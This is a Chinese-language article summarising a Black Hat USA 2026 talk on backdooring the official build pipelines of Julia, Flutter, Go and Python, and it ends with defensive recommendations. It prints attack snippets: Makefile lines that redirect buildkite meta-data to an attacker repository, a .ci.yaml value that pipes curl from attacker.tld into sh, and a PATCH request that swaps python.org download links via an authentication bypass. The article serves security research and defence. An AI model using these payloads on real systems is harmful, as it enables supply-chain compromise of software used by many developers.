你的系统在第一次pipinstall之前就被攻陷了

admin 2026-09-02 06:10:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章解读BlackHatUSA2026议题,DEVCORE研究员splitline演示对Julia、Flutter、Go、Python官方构建管道的供应链攻击,利用元数据投毒、缓存污染、IAP绕过及认证逻辑缺陷在语言二进制分发源头植入后门,根因为跨job信任缺失、数据流无完整性校验与Bot重用污染。建议限制非特权job写权限、校验数据流完整性、隔离任务环境并对下载二进制做签名校验与多源交叉验证。 综合评分: 80 文章分类: 供应链安全,漏洞分析,红队,安全建设,WEB安全


你的系统在第一次 pip install 之前就被攻陷了

原创

AIxSec69 AIxSec69

AIxSec69

2026年8月29日 21:13 美国

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

你的系统在第一次 pip install 之前就被攻陷了

来源:Black Hat USA 2026 Briefings

标题:Born Corrupted: How We Backdoored Trusted Language Binaries

作者:Tsi-Lin (splitline) Ng(Security Researcher, DEVCORE;UNDEFINED Conclave 成员)

适合读者:安全工程师、DevSecOps 从业者、CI/CD 平台运维者、开源项目维护者、供应链安全研究者

简介:审核依赖、锁版本、查漏洞——这些都是针对你引入的第三方包的安全措施。但如果编程语言本身的官方二进制文件在 CI/CD 构建环节被篡改了呢?DEVCORE 研究员 splitline 在 Black Hat USA 2026 上展示了对 Julia、Flutter、Golang、Python 四个主流语言官方构建管道的攻击路径。这些攻击不需要渗透任何开发者的电脑,不需要污染任何 registry 上的包——它们直接在语言的”出生点”植入后门。

◆ ◆ ◆

你写 Python,用 pip 安装包。

你审计了每一个依赖。你甚至手动检查了 setup.py

但如果 Python 官网上供下载的 python.exe 本身就已经被篡改了呢?如果 Go 官网上发布的 go1.25.linux-amd64.tar.gz 编译自被注入后门的源码呢?

这就是 splitline 在 Black Hat USA 2026 上提出的问题。它的答案是一个让开发者后背发凉的故事——攻击编程语言本身的构建管道,在代码被分发之前就植入后门。

▲ 你安装包,你审计包——但编译工具链本身安全吗?(来源:Black Hat USA 2026 Slides)

攻击面:不只是代码,还有构建它的机器

splitline 从一个简单的攻击面分类开始:

– CI/CD 风险:代码从 PR 到发布经历的自动化管道,每一步都是一个可能的攻击点

– 开发者面板(Developer Dashboard):构建状态、发布管理、签名——这些管理界面的权限模型往往比代码仓库更弱

– 开发者自身:凭证泄露、弱认证、社会工程——经典但依然有效的入口

在这些攻击面中,他选择聚焦最容易被忽视的一个:CI/CD 管道中的跨 job 信任边界

现代语言的 CI/CD 通常分多步执行:收到一个 PR → 非特权 job 拉取代码、编译、跑测试 → 如果通过,特权 job 执行签名、打包、上传到 CDN。问题在于:如果非特权 job 能够以某种方式污染特权 job 的执行环境,会发生什么?

▲ 供应链攻击:攻击点不在代码,在构建管道(来源:Black Hat USA 2026 Slides)

这就是 splitline 在四个案例中反复利用的模式。他称之为 “Takeover What You Download”——控制下载的,而不是下载的。

Case 1: Julia —— 一条 Makefile 里的 meta-data 投毒

Julia 语言的 CI/CD 使用 Buildkite 平台。整个流程大致是:

  1. 开发者在 GitHub 上提交 Pull Request(来自任意 fork)

  2. Buildkite 启动一个非特权 job,git clone fork 的代码,执行 make build

  3. 构建完成后,通过 buildkite-agent meta-data setREPO\_URLVERSION 写入共享的 meta-data store

  4. 后续的特权 job 通过 get\_meta() 读取这些信息,git clone 对应的仓库进行签名和上传——这个 job 携带 /secrets/agent.key

splitline 发现的攻击点是:非特权 job 可以修改 meta-data

在 fork 的 Makefile 里插入两行命令:

@buildkite-agent meta-data set REPO\_URL "ATTACKER/julia-buildkite"

@buildkite-agent meta-data set VERSION "main"

非特权 job 在编译完成后,将 REPO\_URL 从官方的 JuliaCI/julia-buildkite 改为攻击者控制的仓库。当特权 job 读取 meta-data 进行 clone 时,它拿到的是攻击者的仓库——其中包含任意代码,在拥有 /secrets/agent.key 的特权环境中执行。

这个攻击利用了 Buildkite 的一个设计特性:meta-data store 是跨 job 共享的(非特权 job 可以写,特权 job 无条件读),而没有对 meta-data 的来源做完整性校验。

Case 2: Flutter —— 钻进 Google 的内部构建系统

Flutter 的 CI/CD 跑在 Google 的 LUCI(Layered Universal Continuous Integration)基础设施上——这是一个远比 Buildkite 复杂的系统,涉及 Buildbucket、Swarming、CIPD、CAS 等多个组件。

攻击的入口出奇地简单。Flutter 的 CI 配置读取逻辑中,有一段代码:

final content = await githubFileContent(

slug,

ciYamlPath,

ref: commitSha, // <- fork 的 SHA!指向攻击者的文件

);

.ci.yaml 文件不是从主仓库读取的,而是从 PR 对应 fork 的 commit SHA 读取。攻击者在自己 fork 的 .ci.yaml 中添加:

env\_variables: >-

{"BASH\_ENV": "$(curl https://attacker.tld/shell.sh | sh)"}

contexts: >-

["metric\_center\_token"]

当 CI 系统以 PR 的 SHA 拉取这个被篡改的配置文件时,攻击者的 shell 脚本在 Bot 上执行——这就是 reverse shell 的入口。

但这还只是开始。splitline 展示了从 reverse shell 到控制 Flutter 发布管道的完整链条:

1. Try Task → Prod Task 跨越:获得 reverse shell 的 Bot 同时运行着 Try Task(非特权,来自外部 PR)和 Prod Task(特权,来自内部代码)。通过 LUCI_CONTEXT 中的 Local Auth RPC,攻击者可以借用同一 Bot 上的 Service Account 凭证,访问 Prod Task 的 Google Cloud 资源。

2. GCS 写权限获取:攻击者获得了 gs://flutter\_archives\_v2 的写入权限——这是 Flutter 的构建产物归档存储。

3. 缓存污染:通过 mount\_cache('builder') 机制,攻击者可以修改 GCS 上 gs://flutter\_archives\_v2/caches/builder-linux.json 中的缓存哈希,将攻击者控制的构建产物伪装成合法的 builder 缓存。后续的构建 job 会基于被污染的缓存 git checkout,产出的二进制文件带着后门。

4. Dashboard 劫持:Flutter 的构建管理面板 Cocoon 中,认证逻辑检查 email.endsWith('@google.com')。攻击者在 Bot 环境中获得的 token 满足这个条件,获得完全的管理面板访问权限。

最终结果:攻击者可以将任意代码注入 Flutter Engine 的构建产物,影响所有使用 Flutter 的开发者。

Case 3: Golang —— 一段注释干掉 IAP 认证

Go 语言的构建基础设施也运行在 Google 的内部系统上,使用 IAP(Identity-Aware Proxy)保护关键的构建协调服务。Go 的 gRPC 服务端使用了一个拦截器:

RequireIAPAuthUnaryInterceptor(IAPSkipAudienceValidation)

重点是 IAPSkipAudienceValidation——它是一个常量,值为空字符串 ""。在 IAP JWT 验证函数中:

func (v \*Validator) validate(ctx, idToken, audience) (\*Payload, err) {

if audience != "" && payload.Audience != audience {

return nil, fmt.Errorf("idtoken: audience does not match")

}

audience 参数为空字符串时,audience 校验被完全跳过——任何有效的 Google JWT 都可以通过认证。这意味着 IAP 所提供的”请求来自特定 Google 项目”的保证被直接绕过了。

有了这个绕过,splitline 进一步展示了从 Try Bot 到发布管道的攻击链:

1. 跨 Bot job 触发:Try Bot 的 Service Account(coordinator-builder@golang-ci-luci...)拥有 Buildbucket 的 trigger 权限,可以直接向 security-try bucket 提交任意 job——包括指定任意的 Gerrit host。

2. Bot 重用:安全 task 执行完毕后,Bot 不会被销毁,而是被后续的 RELUI(Release UI)发布 task 重用。攻击者可以在安全 task 中”种植”后门,影响后续使用同一 Bot 的发布 pipeline。

3. 发布管道污染:RELUI 使用 relui-task@relui-prod@ Service Account,可以写入 gs://golang/(最终同步到 dl.google.com/go)。如果在 Bot 上植入的后门修改了 Cloud Build 产出的二进制文件(在签名之前或签名之后利用具体时机),最终用户从 dl.google.com/go 下载的就是被篡改的文件。

这一条链路从一次 PR 提交开始,最终可以污染 Go 官方的二进制发布。

Case 4: Python —— return True 的灾难

Python 的官方文件托管在 www.python.org 上,使用一个基于 Django Tastypie 框架的下载管理 API。这个 API 使用了自定义的 ApiKeyOrGuestAuthentication 认证类。

正常的 ApiKeyAuthentication 在认证失败时返回 HttpUnauthorized(),请求被拒绝。但 ApiKeyOrGuestAuthentication 重写了 \_unauthorized() 方法:

class ApiKeyOrGuestAuthentication(tastypie.authentication.ApiKeyAuthentication):

def \_unauthorized(self):

return True # Allow guests anyway

return True 意味着:即使用户提供了无效的 API Key(或根本不提供),\_unauthorized() 仍然返回 True,认证检查被视为”通过”。更关键的是,is\_authenticated() 方法在执行 API Key 验证之前,会先查询用户名对应的 User 对象。如果用户名存在(比如 ambv——Python 核心开发者 Lukasz Langa 的用户名),用户对象就被设置到 request.user 上,以该用户的权限执行后续操作。

攻击者只需要:

  1. 使用任意有效的用户名(如 ambv

  2. 提供任意的 api\_key 参数(可以是 ANY

  3. 发起 PATCH 请求修改 release\_file 的 URL

PATCH /api/v1/downloads/release\_file/123/

?format=json&username=ambv&api\_key=ANY HTTP/1.1

Host: www.python.org

Content-Type: application/json

{"url": "https://malicious.tld/python.exe"}

这条请求会将 Python 官方下载页面上的文件链接替换为攻击者控制的恶意文件。用户从 python.org 下载时,拿到的就是被篡改的二进制。

▲ 在第一个 pip install 之前,你的系统可能已经不安全了(来源:Black Hat USA 2026 Slides)

为什么这些攻击能成功?

splitline 在演讲结尾将四个案例提炼为三个共性的安全问题:

Access Control(访问控制)。非特权 job 可以写入特权 job 依赖的共享存储(Buildkite meta-data、GCS 缓存)。系统假设这些存储是可信的,但没有验证写入者的权限。

Insufficient Flow Control(流转控制不足)。CI/CD 管道中数据从非特权域流向特权域时,缺少完整性校验。Julia 案例中 meta-data 没有签名,Flutter 案例中 .ci.yaml 从 fork 读取而没有白名单验证。

Poisoned Pipeline(管道污染)。Bot 在不同任务之间被重用,前一个任务对环境的修改(文件、内存、进程)可能被后续任务继承。Go 案例中安全 task 和发布 task 共享 Bot 是最典型的例子。

防御视角

从四个案例中可以提炼出几个方向性建议:

对 CI/CD 平台

  • 非特权 job 不应能写入被特权 job 消费的共享状态(meta-data、缓存、artifact)

  • 跨 job 的数据流应有完整性校验(签名或至少来源白名单)

  • Bot 在执行不同信任级别任务之间应做环境重置或隔离

对语言项目维护者

  • CI 配置文件(.ci.yaml、pipeline YAML)不应从 fork 读取,或至少在 fork 路径上做严格的 schema 验证和白名单

  • 认证逻辑中的”跳过验证”路径应经过安全审查——一个值为空字符串的常量可能成为全系统的单点失效

  • 定期审计 CI/CD 权限模型,尤其是 Try/PR job 的边界

对开发者

  • 二进制文件的完整性校验(checksum、签名验证)仍然是最基本的防线

  • 关注供应链安全,不仅是依赖包的层面,还有工具链的层面

  • 如果可能,从多个独立来源交叉验证下载的二进制文件

写在最后

splitline 的这场演讲的价值在于,他把一个通常被分开讨论的话题——Web 安全、CI/CD 安全、供应链安全——串了起来。四个案例的技术入口各不相同(meta-data 污染、YAML 注入、IAP 绕过、认证逻辑错误),但指向同一个目标:编程语言官方发布的二进制文件。

当被问到”用了 AI 吗”,splitline 的回答是”Yes, quite a few”——这或许也是一个有趣的注脚。攻击者已经在用 AI 辅助挖掘 CI/CD 中的攻击面了,防御方呢?

每一次 pip installgo getflutter create 背后,都有数十个自动化构建步骤在运行。这些步骤的设计假设是”上一个环节没有被人动过手脚”——而 splitline 告诉你,这个假设在某些情况下是脆弱的。

◆ ◆ ◆

原文链接:https://www.blackhat.com/us-26/briefings/schedule/#born-corrupted-how-we-backdoored-trusted-language-binaries-53974


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AIxSec69 AIxSec69 AIxSec69《你的系统在第一次 pip install 之前就被攻陷了》

评论:0   参与:  0